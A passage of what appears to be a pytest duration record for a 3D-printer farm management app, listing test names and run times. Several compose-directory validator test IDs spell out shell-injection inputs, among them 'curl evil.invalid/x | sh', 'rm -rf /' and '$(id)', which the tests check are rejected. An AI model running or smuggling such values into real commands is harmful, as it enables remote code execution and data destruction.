0.0008430695161223412, + "unit/test_color_utils.py::TestColorMatchKey::test_normalises_case_and_hash_prefix": 0.000851016491651535, + "unit/test_color_utils.py::TestColorMatchKey::test_opaque_value_matches_its_six_character_twin": 0.0009038522839546204, + "unit/test_color_utils.py::TestColorMatchKey::test_translucent_value_does_not_match_its_opaque_twin": 0.0008464958518743515, + "unit/test_color_utils.py::TestColorsSimilar::test_black_and_near_black": 0.0008669262751936913, + "unit/test_color_utils.py::TestColorsSimilar::test_custom_threshold": 0.0008544903248548508, + "unit/test_color_utils.py::TestColorsSimilar::test_different_colors_beyond_threshold": 0.0008865818381309509, + "unit/test_color_utils.py::TestColorsSimilar::test_empty_strings_match": 0.000857839360833168, + "unit/test_color_utils.py::TestColorsSimilar::test_exact_match": 0.0009217578917741776, + "unit/test_color_utils.py::TestColorsSimilar::test_exact_match_case_insensitive": 0.0009049661457538605, + "unit/test_color_utils.py::TestColorsSimilar::test_ignores_alpha_channel": 0.0008681463077664375, + "unit/test_color_utils.py::TestColorsSimilar::test_invalid_hex_returns_false": 0.0008720541372895241, + "unit/test_color_utils.py::TestColorsSimilar::test_short_string_returns_false": 0.0008689276874065399, + "unit/test_color_utils.py::TestColorsSimilar::test_similar_colors_within_threshold": 0.0008945772424340248, + "unit/test_color_utils.py::TestColorsSimilar::test_six_digit_hex": 0.0008622948080301285, + "unit/test_color_utils.py::TestColorsSimilar::test_white_and_off_white": 0.0008627669885754585, + "unit/test_color_utils.py::TestColorsSimilar::test_whitespace_stripped": 0.0008507529273629189, + "unit/test_color_utils.py::TestSpoolmanColorHex::test_fully_transparent_keeps_its_alpha": 0.0008596200495958328, + "unit/test_color_utils.py::TestSpoolmanColorHex::test_none_and_empty_return_none": 0.0008385619148612022, + "unit/test_color_utils.py::TestSpoolmanColorHex::test_normalises_case_and_hash_prefix": 0.0008598100394010544, + "unit/test_color_utils.py::TestSpoolmanColorHex::test_opaque_value_stays_six_characters": 0.0008855005726218224, + "unit/test_color_utils.py::TestSpoolmanColorHex::test_short_value_passes_through_rather_than_being_padded": 0.0008531007915735245, + "unit/test_color_utils.py::TestSpoolmanColorHex::test_six_character_input_passes_through": 0.000863158144056797, + "unit/test_color_utils.py::TestSpoolmanColorHex::test_translucent_value_keeps_its_alpha": 0.0008454648777842522, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_accepts_the_completion_for_its_own_print": 0.19120725989341736, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_lets_a_dangling_archive_reference_through": 0.17900564055889845, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_lets_an_archive_without_a_filename_through": 0.181309106759727, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_lets_an_archiveless_item_through": 0.18223661556839943, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_lets_an_unidentified_completion_through[ ]": 0.18161288555711508, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_lets_an_unidentified_completion_through[None]": 0.17853593919426203, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_lets_an_unidentified_completion_through[]": 0.17894353531301022, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_matches_regardless_of_case": 0.19170906022191048, + "unit/test_completion_queue_item_match.py::TestCompletionBelongsToQueueItem::test_rejects_a_completion_for_a_different_print": 0.19110256247222424, + "unit/test_completion_queue_item_match.py::TestDisposableDatabaseGuard::test_the_app_engine_points_at_a_throwaway_sqlite_file": 0.0012619858607649803, + "unit/test_completion_queue_item_match.py::TestDisposableDatabaseGuard::test_the_guard_rejects_a_real_database": 0.001145857386291027, + "unit/test_completion_queue_item_match.py::TestDisposableDatabaseGuard::test_the_guard_rejects_another_sqlite_file": 0.0014440566301345825, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[AMS_Rack-AMS_Rack]": 0.0009242109954357147, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[AMS_Rack.3mf-AMS_Rack]": 0.0009382264688611031, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[AMS_Rack.gcode.3mf-AMS_Rack]": 0.0009415550157427788, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[Cover.GCODE.3MF-Cover]": 0.0009430069476366043, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[My.Model.3mf-My.Model]": 0.0009354231879115105, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[My.Model.gcode.3mf-My.Model]": 0.0009223297238349915, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[archive/1/20260811_112435_AMS_Rack/AMS_Rack.gcode.3mf-AMS_Rack]": 0.0009248340502381325, + "unit/test_completion_queue_item_match.py::TestSubtaskNameFromFilename::test_recovers_the_dispatched_subtask_name[plate.gcode-plate]": 0.0009341798722743988, + "unit/test_completion_subtask_match_2829.py::TestFilenameDerivation::test_extensions_come_off_and_nothing_else_does[/cache/Nested Path/Benchy.gcode.3mf-Benchy]": 0.0009909672662615776, + "unit/test_completion_subtask_match_2829.py::TestFilenameDerivation::test_extensions_come_off_and_nothing_else_does[Benchy.3mf-Benchy]": 0.0009896047413349152, + "unit/test_completion_subtask_match_2829.py::TestFilenameDerivation::test_extensions_come_off_and_nothing_else_does[Benchy.gcode.3mf-Benchy]": 0.0010603470727801323, + "unit/test_completion_subtask_match_2829.py::TestFilenameDerivation::test_extensions_come_off_and_nothing_else_does[My.Model.3mf-My.Model]": 0.0009859483689069748, + "unit/test_completion_subtask_match_2829.py::TestItStillRefusesADifferentPrint::test_a_name_that_merely_starts_the_same": 0.0009491592645645142, + "unit/test_completion_subtask_match_2829.py::TestItStillRefusesADifferentPrint::test_an_unrelated_print": 0.0008625555783510208, + "unit/test_completion_subtask_match_2829.py::TestItStillRefusesADifferentPrint::test_the_printers_own_calibration_run": 0.0008675474673509598, + "unit/test_completion_subtask_match_2829.py::TestNormalisation::test_canonical_form[ A B -a__b]": 0.001204206608235836, + "unit/test_completion_subtask_match_2829.py::TestNormalisation::test_canonical_form[A B-a_b]": 0.0014432752504944801, + "unit/test_completion_subtask_match_2829.py::TestNormalisation::test_canonical_form[A_B-a_b]": 0.0014030402526259422, + "unit/test_completion_subtask_match_2829.py::TestNormalisation::test_canonical_form[Mundst\\xfcck-mundst\\xfcck]": 0.0009827818721532822, + "unit/test_completion_subtask_match_2829.py::TestNormalisation::test_case_is_ignored": 0.000902482308447361, + "unit/test_completion_subtask_match_2829.py::TestNormalisation::test_spaces_and_underscores_are_the_same_rule_the_3mf_lookup_uses": 0.0011276546865701675, + "unit/test_completion_subtask_match_2829.py::TestNormalisation::test_surrounding_whitespace_is_ignored": 0.0009796759113669395, + "unit/test_completion_subtask_match_2829.py::TestTheReportedCase::test_from_the_archive_filename_it_was_dispatched_with": 0.0009131515398621559, + "unit/test_completion_subtask_match_2829.py::TestTheReportedCase::test_spaces_come_back_as_underscores": 0.0009862203150987625, + "unit/test_completion_subtask_match_2829.py::TestTruncation::test_a_truncated_echo_matches_the_full_name": 0.0008868305012583733, + "unit/test_completion_subtask_match_2829.py::TestTruncation::test_a_truncated_name_on_the_archive_side_matches_too": 0.0008798595517873764, + "unit/test_completion_subtask_match_2829.py::TestTruncation::test_truncation_does_not_match_a_different_print": 0.00089260283857584, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_accepts_real_paths[/home/martin/3D-Druck/bambuddy]": 0.0009333174675703049, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_accepts_real_paths[/opt/bambuddy]": 0.0010031592100858688, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_accepts_real_paths[/srv/stacks/bambu buddy]": 0.0009430786594748497, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_accepts_real_paths[C:\\\\Users\\\\martin\\\\bambuddy]": 0.0009502414613962173, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_accepts_real_paths[]": 0.0009279698133468628, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_accepts_real_paths[~/bambuddy]": 0.0009396998211741447, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_characters_that_would_escape_the_frontend_quoting_are_rejected[\"]": 0.0009414143860340118, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_characters_that_would_escape_the_frontend_quoting_are_rejected[$]": 0.0009461827576160431, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_characters_that_would_escape_the_frontend_quoting_are_rejected[`]": 0.0009328983724117279, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_none_is_untouched": 0.0008917413651943207, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_absurd_length": 0.0009137708693742752, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_shell_metacharacters[/opt/bambuddy && curl evil.invalid/x | sh]": 0.0010008672252297401, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_shell_metacharacters[/opt/bambuddy | tee /etc/passwd]": 0.000941975973546505, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_shell_metacharacters[/opt/bambuddy\" && echo pwned && echo \"]": 0.0009469445794820786, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_shell_metacharacters[/opt/bambuddy$(id)]": 0.0009453315287828445, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_shell_metacharacters[/opt/bambuddy; rm -rf /]": 0.0009707808494567871, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_shell_metacharacters[/opt/bambuddy\\nrm -rf /]": 0.0009461222216486931, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_rejects_shell_metacharacters[/opt/bambuddy`id`]": 0.0009338408708572388, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_trailing_backslash_rejected": 0.0008972715586423874, + "unit/test_compose_dir_setting.py::TestComposeDirValidation::test_windows_path_without_trailing_separator_survives": 0.0008690282702445984, + "unit/test_config_env_warnings.py::test_known_intentional_env_var_does_not_log": 0.0030167046934366226, + "unit/test_config_env_warnings.py::test_unknown_bambuddy_env_var_logs_info": 0.0034698927775025368, + "unit/test_config_env_warnings.py::test_unknown_mfa_env_var_logs_info": 0.004232143051922321, + "unit/test_connection_watchdog.py::TestLeavesHealthyAndRecoveringSessionsAlone::test_a_client_that_never_had_a_session_is_left_to_paho": 0.001416345126926899, + "unit/test_connection_watchdog.py::TestLeavesHealthyAndRecoveringSessionsAlone::test_connected_printer_is_untouched": 0.001414962112903595, + "unit/test_connection_watchdog.py::TestLeavesHealthyAndRecoveringSessionsAlone::test_inside_the_grace_period_paho_keeps_the_job": 0.0013962062075734138, + "unit/test_connection_watchdog.py::TestLeavesHealthyAndRecoveringSessionsAlone::test_reconnecting_clears_the_cooldown": 0.0017132014036178589, + "unit/test_connection_watchdog.py::TestRebuildsDeadSessions::test_rebuilds_a_long_dead_session": 0.0018005156889557838, + "unit/test_connection_watchdog.py::TestRebuildsDeadSessions::test_reconnect_reason_names_the_duration": 0.0016150884330272675, + "unit/test_connection_watchdog.py::TestRebuildsDeadSessions::test_sweeps_every_printer_in_the_farm": 0.0022310391068458557, + "unit/test_connection_watchdog.py::TestRetryInterval::test_does_not_rebuild_again_within_the_interval": 0.0019844900816679, + "unit/test_connection_watchdog.py::TestRetryInterval::test_retries_once_the_interval_has_passed": 0.00178625900298357, + "unit/test_connection_watchdog.py::TestSweepIsFaultTolerant::test_one_broken_client_does_not_stop_the_others": 0.0016574664041399956, + "unit/test_connection_watchdog.py::TestUnreachablePrinters::test_switched_off_printer_is_not_rebuilt": 0.001458234153687954, + "unit/test_connection_watchdog.py::TestUnreachablePrinters::test_unreachable_printer_still_takes_the_cooldown": 0.0014545060694217682, + "unit/test_cost_tracking.py::TestCostAggregation::test_archive_cost_fully_tracked_unchanged_by_topup": 0.005404138937592506, + "unit/test_cost_tracking.py::TestCostAggregation::test_archive_cost_includes_untracked_filament_at_default_rate": 0.005162466317415237, + "unit/test_cost_tracking.py::TestCostAggregation::test_archive_cost_not_overwritten_with_zero": 0.004878053441643715, + "unit/test_cost_tracking.py::TestCostAggregation::test_archive_cost_set_when_spool_has_cost": 0.007809626869857311, + "unit/test_cost_tracking.py::TestCostAggregation::test_cost_with_archive_id": 0.006273107603192329, + "unit/test_cost_tracking.py::TestCostAggregation::test_cost_with_print_name_ams_fallback": 0.006676143035292625, + "unit/test_cost_tracking.py::TestCostAggregation::test_costs_summed_in_results": 0.001250213012099266, + "unit/test_cost_tracking.py::TestCostAggregation::test_null_costs_handled_in_aggregation": 0.0012289844453334808, + "unit/test_cost_tracking.py::TestCostCalculation::test_cost_for_failed_print_uses_actual_usage": 0.004979313351213932, + "unit/test_cost_tracking.py::TestCostCalculation::test_cost_with_ams_fallback_tracking": 0.0042075179517269135, + "unit/test_cost_tracking.py::TestCostCalculation::test_cost_with_default_fallback": 0.008726946078240871, + "unit/test_cost_tracking.py::TestCostCalculation::test_cost_with_spool_specific_cost_per_kg": 0.005503855645656586, + "unit/test_cost_tracking.py::TestCostCalculation::test_cost_zero_when_default_cost_is_zero": 0.004792952910065651, + "unit/test_cost_tracking.py::TestCostCalculation::test_multi_filament_cost_aggregation": 0.0053852638229727745, + "unit/test_cover_coalescing_2572.py::test_concurrent_cover_requests_download_once": 0.10242032539099455, + "unit/test_cover_coalescing_2572.py::test_second_request_serves_from_positive_cache": 0.002168622799217701, + "unit/test_cover_rechecks_3mf_cache_2957.py::TestItLooksAgainBetweenAttempts::test_a_file_published_mid_retry_is_picked_up": 0.0021204156801104546, + "unit/test_cover_rechecks_3mf_cache_2957.py::TestItLooksAgainBetweenAttempts::test_the_cached_file_is_left_to_its_owner": 0.00214228592813015, + "unit/test_cover_rechecks_3mf_cache_2957.py::TestWhatItMustNotChange::test_a_hit_on_the_way_in_still_skips_ftp_entirely": 0.0021542077884078026, + "unit/test_cover_rechecks_3mf_cache_2957.py::TestWhatItMustNotChange::test_its_own_download_is_still_shared": 0.0017368858680129051, + "unit/test_cover_rechecks_3mf_cache_2957.py::TestWhatItMustNotChange::test_retries_still_run_when_there_is_nothing_to_pick_up": 0.0015550460666418076, + "unit/test_db_dialect.py::TestAutoLinkConstraintMigration::test_constraint_migration_postgres_drops_and_recreates": 0.002461092546582222, + "unit/test_db_dialect.py::TestAutoLinkConstraintMigration::test_constraint_migration_sqlite_count_guard_raises_on_mismatch": 0.004738382063806057, + "unit/test_db_dialect.py::TestAutoLinkConstraintMigration::test_constraint_migration_sqlite_recreates_table": 0.006038027815520763, + "unit/test_db_dialect.py::TestAutoLinkConstraintMigration::test_new_constraint_allows_fall_c_sqlite": 0.0025834525004029274, + "unit/test_db_dialect.py::TestAutoLinkConstraintMigration::test_new_constraint_blocks_fall_b_sqlite": 0.0025839032605290413, + "unit/test_db_dialect.py::TestCrossDatabaseConversion::test_boolean_conversion": 0.0008788472041487694, + "unit/test_db_dialect.py::TestCrossDatabaseConversion::test_datetime_string_conversion": 0.0008971430361270905, + "unit/test_db_dialect.py::TestCrossDatabaseConversion::test_datetime_with_timezone_string": 0.00090746209025383, + "unit/test_db_dialect.py::TestCrossDatabaseConversion::test_json_serialization_for_backup": 0.0009264172986149788, + "unit/test_db_dialect.py::TestDialectDetection::test_postgres_detected": 0.001019841991364956, + "unit/test_db_dialect.py::TestDialectDetection::test_sqlite_detected": 0.0010680025443434715, + "unit/test_db_dialect.py::TestRunPragma::test_pragma_runs_on_sqlite": 0.001509479247033596, + "unit/test_db_dialect.py::TestRunPragma::test_pragma_skipped_on_postgres": 0.0014162147417664528, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_auto_link_sec1_backfill_resets_unsafe_rows": 0.004267987795174122, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_check_constraint_false_true_on_sqlite": 0.0036184415221214294, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_normalize_printer_ids_postgres_uses_text_cast": 0.001917554996907711, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_normalize_printer_ids_sqlite_uses_plain_comparison": 0.0037897219881415367, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_oidc_boolean_default_migrations_sqlite_defaults": 0.004368147812783718, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_provider_email_lowercasing_migration": 0.0034734802320599556, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_catches_expected_exceptions": 0.0009006485342979431, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_column_not_exists_only_swallowed_for_rename": 0.00259543489664793, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_reraises_does_not_exist_without_column": 0.001988869160413742, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_reraises_non_idempotency_errors": 0.003624304197728634, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_swallows_already_exists": 0.0037172269076108932, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_swallows_does_not_exist_for_rename_postgres": 0.0017124703153967857, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_swallows_duplicate_key": 0.0019417190924286842, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_swallows_no_such_column_for_rename": 0.002991144545376301, + "unit/test_db_dialect.py::TestSafeExecutePattern::test_safe_execute_would_not_catch_integrity_error": 0.0009198924526572227, + "unit/test_db_dialect.py::TestSpoolmanTableDialect::test_active_print_spoolman_postgres_sql_uses_serial": 0.00202226173132658, + "unit/test_db_dialect.py::TestSpoolmanTableDialect::test_active_print_spoolman_sqlite_creates_table": 0.002868776209652424, + "unit/test_db_dialect.py::TestSpoolmanTableDialect::test_spool_usage_history_postgres_sql_uses_serial_and_timestamp": 0.001700117252767086, + "unit/test_db_dialect.py::TestSpoolmanTableDialect::test_spool_usage_history_sqlite_creates_table": 0.0028328094631433487, + "unit/test_db_dialect.py::TestTimezoneStripping::test_naive_datetime_unchanged": 0.0009018396958708763, + "unit/test_db_dialect.py::TestTimezoneStripping::test_strip_aware_datetime": 0.0009101256728172302, + "unit/test_db_dialect.py::TestTimezoneStripping::test_strip_in_dict_params": 0.0009180102497339249, + "unit/test_db_dialect.py::TestTimezoneStripping::test_strip_in_tuple_params": 0.0008978238329291344, + "unit/test_db_pool_and_auth_cache.py::TestAuthEnabledCache::test_db_error_propagates_fail_closed": 0.0012304969131946564, + "unit/test_db_pool_and_auth_cache.py::TestAuthEnabledCache::test_disabled_is_never_cached": 0.0012229420244693756, + "unit/test_db_pool_and_auth_cache.py::TestAuthEnabledCache::test_enabled_true_is_cached": 0.0013298438861966133, + "unit/test_db_pool_and_auth_cache.py::TestAuthEnabledCache::test_unconfigured_returns_false_and_is_not_cached": 0.001226687803864479, + "unit/test_db_pool_and_auth_cache.py::TestPoolConfiguration::test_concurrent_checkouts_exceed_base_pool_size": 0.0638988446444273, + "unit/test_db_pool_and_auth_cache.py::TestPoolConfiguration::test_env_overrides_win_on_postgres": 0.0009883623570203781, + "unit/test_db_pool_and_auth_cache.py::TestPoolConfiguration::test_postgres_defaults_raise_the_old_limits": 0.0010275375097990036, + "unit/test_db_pool_and_auth_cache.py::TestPoolConfiguration::test_sqlite_defaults_when_unset": 0.0012584468349814415, + "unit/test_db_pool_and_auth_cache.py::TestPoolStatus::test_get_pool_status_shape": 0.0011010542511940002, + "unit/test_db_session_timezone.py::TestConnectArgs::test_asyncpg_pins_the_session_to_utc": 0.0009420150890946388, + "unit/test_db_session_timezone.py::TestConnectArgs::test_create_engine_actually_passes_them": 0.0011056335642933846, + "unit/test_db_session_timezone.py::TestConnectArgs::test_other_postgres_drivers_go_through_libpq": 0.0009326878935098648, + "unit/test_db_session_timezone.py::TestConnectArgs::test_sqlite_engine_gets_no_connect_args": 0.00104471854865551, + "unit/test_db_session_timezone.py::TestConnectArgs::test_sqlite_gets_none": 0.000943637453019619, + "unit/test_db_session_timezone.py::TestQueueAgeUsesUtc::test_age_of_a_fresh_item_is_near_zero_on_a_non_utc_host": 0.18670266680419445, + "unit/test_db_session_timezone.py::TestSqliteIsTheReference::test_server_default_writes_utc_not_local": 0.003917713649570942, + "unit/test_design_settings.py::TestApply::test_a_key_the_source_never_flagged_is_ignored": 0.001047772355377674, + "unit/test_design_settings.py::TestApply::test_no_selection_is_a_no_op": 0.0010866755619645119, + "unit/test_design_settings.py::TestApply::test_printer_coupled_keys_apply_when_explicitly_selected": 0.0011296486482024193, + "unit/test_design_settings.py::TestApply::test_unparseable_process_json_is_returned_untouched": 0.0010472238063812256, + "unit/test_design_settings.py::TestApply::test_writes_only_the_selected_keys": 0.001149192452430725, + "unit/test_design_settings.py::TestClassification::test_geometry_and_quality_keys_are_portable": 0.0017458628863096237, + "unit/test_design_settings.py::TestClassification::test_kinematic_and_thermal_keys_are_printer_coupled": 0.0009853579103946686, + "unit/test_design_settings.py::TestExtraction::test_empty_process_entry_yields_nothing": 0.0010247984901070595, + "unit/test_design_settings.py::TestExtraction::test_files_without_project_settings_yield_nothing": 0.0009865788742899895, + "unit/test_design_settings.py::TestExtraction::test_files_without_the_field_yield_nothing": 0.0010323049500584602, + "unit/test_design_settings.py::TestExtraction::test_malformed_input_yields_nothing": 0.001028076745569706, + "unit/test_design_settings.py::TestExtraction::test_never_surfaces_the_printer_slot": 0.0010525817051529884, + "unit/test_design_settings.py::TestExtraction::test_reads_the_process_slot_and_classifies_each_key": 0.0011161109432578087, + "unit/test_design_settings.py::TestExtraction::test_rejects_an_array_whose_length_contradicts_the_filament_count": 0.0010311510413885117, + "unit/test_design_settings.py::TestExtraction::test_skips_keys_absent_from_the_flattened_config": 0.0010367641225457191, + "unit/test_design_settings.py::TestExtraction::test_tolerates_a_missing_filament_list": 0.0011143982410430908, + "unit/test_design_settings.py::TestPresetDefining::test_extraction_marks_them": 0.0009553497657179832, + "unit/test_design_settings.py::TestPresetDefining::test_layer_heights_define_the_preset": 0.0009401021525263786, + "unit/test_design_settings.py::TestPresetDefining::test_ordinary_design_tweaks_do_not": 0.0009299134835600853, + "unit/test_design_settings.py::TestPresetDefining::test_they_still_apply_when_explicitly_selected": 0.0010787034407258034, + "unit/test_diagnostic_snapshot.py::test_snapshot_always_returns_three_top_level_keys_when_empty": 0.002965819090604782, + "unit/test_diagnostic_snapshot.py::test_snapshot_emits_timed_out_marker_when_probe_exceeds_cap": 0.053197056986391544, + "unit/test_diagnostic_snapshot.py::test_snapshot_fails_soft_when_single_printer_diagnostic_raises": 0.003250822424888611, + "unit/test_diagnostic_snapshot.py::test_snapshot_masks_ip_addresses_in_all_diagnostic_fields": 0.005857458338141441, + "unit/test_diagnostic_snapshot.py::test_snapshot_runs_diagnostic_per_active_printer": 0.0031238747760653496, + "unit/test_diagnostic_snapshot.py::test_snapshot_runs_probes_concurrently_not_sequentially": 0.20366548001766205, + "unit/test_dispatch_claim_recovery.py::test_a_transient_failure_is_retried_and_the_claim_clears": 0.002661977894604206, + "unit/test_dispatch_claim_recovery.py::test_no_retry_when_the_first_attempt_works": 0.0017595486715435982, + "unit/test_dispatch_claim_recovery.py::test_retries_are_bounded_and_never_raise": 0.0020904773846268654, + "unit/test_dispatch_claim_recovery.py::test_the_session_is_rolled_back_between_attempts": 0.002397664822638035, + "unit/test_dispatch_claim_recovery.py::test_the_sweep_does_nothing_while_an_upload_is_in_flight": 0.0015962915495038033, + "unit/test_dispatch_claim_recovery.py::test_the_sweep_releases_a_claim_with_nothing_in_flight": 0.002237120643258095, + "unit/test_dispatch_claim_recovery.py::test_the_sweep_survives_a_database_that_is_still_down": 0.0016118884086608887, + "unit/test_donor_3mf_validation_2957.py::TestTheCheckThatIsDeliberatelyNotMade::test_the_filament_count_is_not_compared": 0.0011743707582354546, + "unit/test_donor_3mf_validation_2957.py::TestTheLookupItself::test_a_matching_donor_is_still_used": 0.1851031268015504, + "unit/test_donor_3mf_validation_2957.py::TestTheLookupItself::test_a_wrong_donor_is_refused": 0.18558397144079208, + "unit/test_donor_3mf_validation_2957.py::TestTheLookupItself::test_the_library_branch_is_guarded_too": 0.18145848717540503, + "unit/test_donor_3mf_validation_2957.py::TestWhatMustStillBeAccepted::test_an_all_plates_export_that_carries_the_running_plate": 0.001173701137304306, + "unit/test_donor_3mf_validation_2957.py::TestWhatMustStillBeAccepted::test_nothing_known_accepts_anything": 0.0010576611384749413, + "unit/test_donor_3mf_validation_2957.py::TestWhatMustStillBeAccepted::test_the_matching_plate": 0.0011570295318961143, + "unit/test_donor_3mf_validation_2957.py::TestWhatRulesADonorOut::test_a_donor_holding_a_different_plate": 0.0012987647205591202, + "unit/test_donor_3mf_validation_2957.py::TestWhatRulesADonorOut::test_an_all_plates_export_without_the_running_plate": 0.0012119300663471222, + "unit/test_donor_3mf_validation_2957.py::TestWhatRulesADonorOut::test_an_unreadable_donor_is_not_rejected_on_that_alone": 0.0010526441037654877, + "unit/test_donor_3mf_validation_2957.py::TestWhereTheExpectationsComeFrom::test_a_p1s_that_echoes_only_the_3mf_name_knows_no_plate": 0.0009550200775265694, + "unit/test_donor_3mf_validation_2957.py::TestWhereTheExpectationsComeFrom::test_otherwise_the_gcode_path_the_printer_echoed": 0.0009563323110342026, + "unit/test_donor_3mf_validation_2957.py::TestWhereTheExpectationsComeFrom::test_the_plate_column_wins_when_it_is_set": 0.0009567933157086372, + "unit/test_download_deadline_and_gate_2957.py::TestASlowTransferSurvivesItsDeadline::test_a_printer_that_never_answers_size_still_fails_on_time": 1.5027754604816437, + "unit/test_download_deadline_and_gate_2957.py::TestASlowTransferSurvivesItsDeadline::test_a_transfer_that_blows_even_the_size_deadline_is_not_retried": 0.25419830437749624, + "unit/test_download_deadline_and_gate_2957.py::TestASlowTransferSurvivesItsDeadline::test_a_transfer_that_reports_its_size_is_given_the_time": 0.4121613558381796, + "unit/test_download_deadline_and_gate_2957.py::TestASlowTransferSurvivesItsDeadline::test_an_ordinary_timeout_is_still_an_ordinary_retryable_miss": 0.6026517897844315, + "unit/test_download_deadline_and_gate_2957.py::TestOnlyOneDownloadPerPrinter::test_a_real_download_takes_the_gate": 0.20299127604812384, + "unit/test_download_deadline_and_gate_2957.py::TestOnlyOneDownloadPerPrinter::test_a_waiter_that_gives_up_goes_anyway": 0.30277622304856777, + "unit/test_download_deadline_and_gate_2957.py::TestOnlyOneDownloadPerPrinter::test_different_printers_do_not_queue_behind_each_other": 0.30253890808671713, + "unit/test_download_deadline_and_gate_2957.py::TestOnlyOneDownloadPerPrinter::test_the_file_browser_stays_outside_the_gate": 0.3029489777982235, + "unit/test_download_deadline_and_gate_2957.py::TestOnlyOneDownloadPerPrinter::test_the_gate_is_released_when_the_body_raises": 0.0021411143243312836, + "unit/test_download_deadline_and_gate_2957.py::TestOnlyOneDownloadPerPrinter::test_the_second_download_waits_for_the_first": 0.16280490346252918, + "unit/test_download_deadline_and_gate_2957.py::TestTheCapNoLongerLeavesAWorkerOnTheSocket::test_a_capped_path_walk_stops_its_worker": 0.10310982819646597, + "unit/test_download_deadline_and_gate_2957.py::TestTheCapNoLongerLeavesAWorkerOnTheSocket::test_a_late_transport_error_is_not_logged_as_loop_noise": 1.3902495317161083, + "unit/test_download_deadline_and_gate_2957.py::TestTheDeadlineFollowsTheFile::test_a_15mb_3mf_gets_far_more_than_the_30s_default": 0.0014593647792935371, + "unit/test_download_deadline_and_gate_2957.py::TestTheDeadlineFollowsTheFile::test_a_small_file_that_already_fits_extends_nothing": 0.0010959645733237267, + "unit/test_download_deadline_and_gate_2957.py::TestTheDeadlineFollowsTheFile::test_an_unknown_size_extends_nothing": 0.001184028573334217, + "unit/test_download_deadline_and_gate_2957.py::TestTheDeadlineFollowsTheFile::test_it_is_capped": 0.0010570017620921135, + "unit/test_download_deadline_and_gate_2957.py::TestTheDeadlineFollowsTheFile::test_the_floor_is_pessimistic_not_the_measured_rate": 0.001043577678501606, + "unit/test_drying_preflight.py::TestBlockingReasonCodes::test_a_missing_unit_is_not_blocking": 0.0013827923685312271, + "unit/test_drying_preflight.py::TestBlockingReasonCodes::test_unknown_and_malformed_codes_are_dropped": 0.0013830633834004402, + "unit/test_drying_preflight.py::TestBothPathsAgree::test_the_message_and_the_token_describe_one_code[codes0-ams_power_required]": 0.0010817181318998337, + "unit/test_drying_preflight.py::TestBothPathsAgree::test_the_message_and_the_token_describe_one_code[codes1-ams_power_required]": 0.0010842708870768547, + "unit/test_drying_preflight.py::TestBothPathsAgree::test_the_message_and_the_token_describe_one_code[codes2-ams_retract_filament]": 0.0010914551094174385, + "unit/test_drying_preflight.py::TestBothPathsAgree::test_the_message_and_the_token_describe_one_code[codes3-ams_blocked]": 0.0015118634328246117, + "unit/test_drying_preflight.py::TestPrimaryReasonCode::test_a_single_code_is_returned_as_is": 0.0013697557151317596, + "unit/test_drying_preflight.py::TestPrimaryReasonCode::test_no_codes_is_no_answer": 0.0009922198951244354, + "unit/test_drying_preflight.py::TestPrimaryReasonCode::test_power_outranks_a_transient_code[1]": 0.0010704146698117256, + "unit/test_drying_preflight.py::TestPrimaryReasonCode::test_power_outranks_a_transient_code[8]": 0.0010378062725067139, + "unit/test_drying_preflight.py::TestPrimaryReasonCode::test_power_outranks_retract": 0.0010015880689024925, + "unit/test_drying_preflight.py::TestPrimaryReasonCode::test_retract_outranks_a_transient_code": 0.0010218648239970207, + "unit/test_drying_preflight.py::TestPrimaryReasonCode::test_transient_codes_keep_the_reported_order": 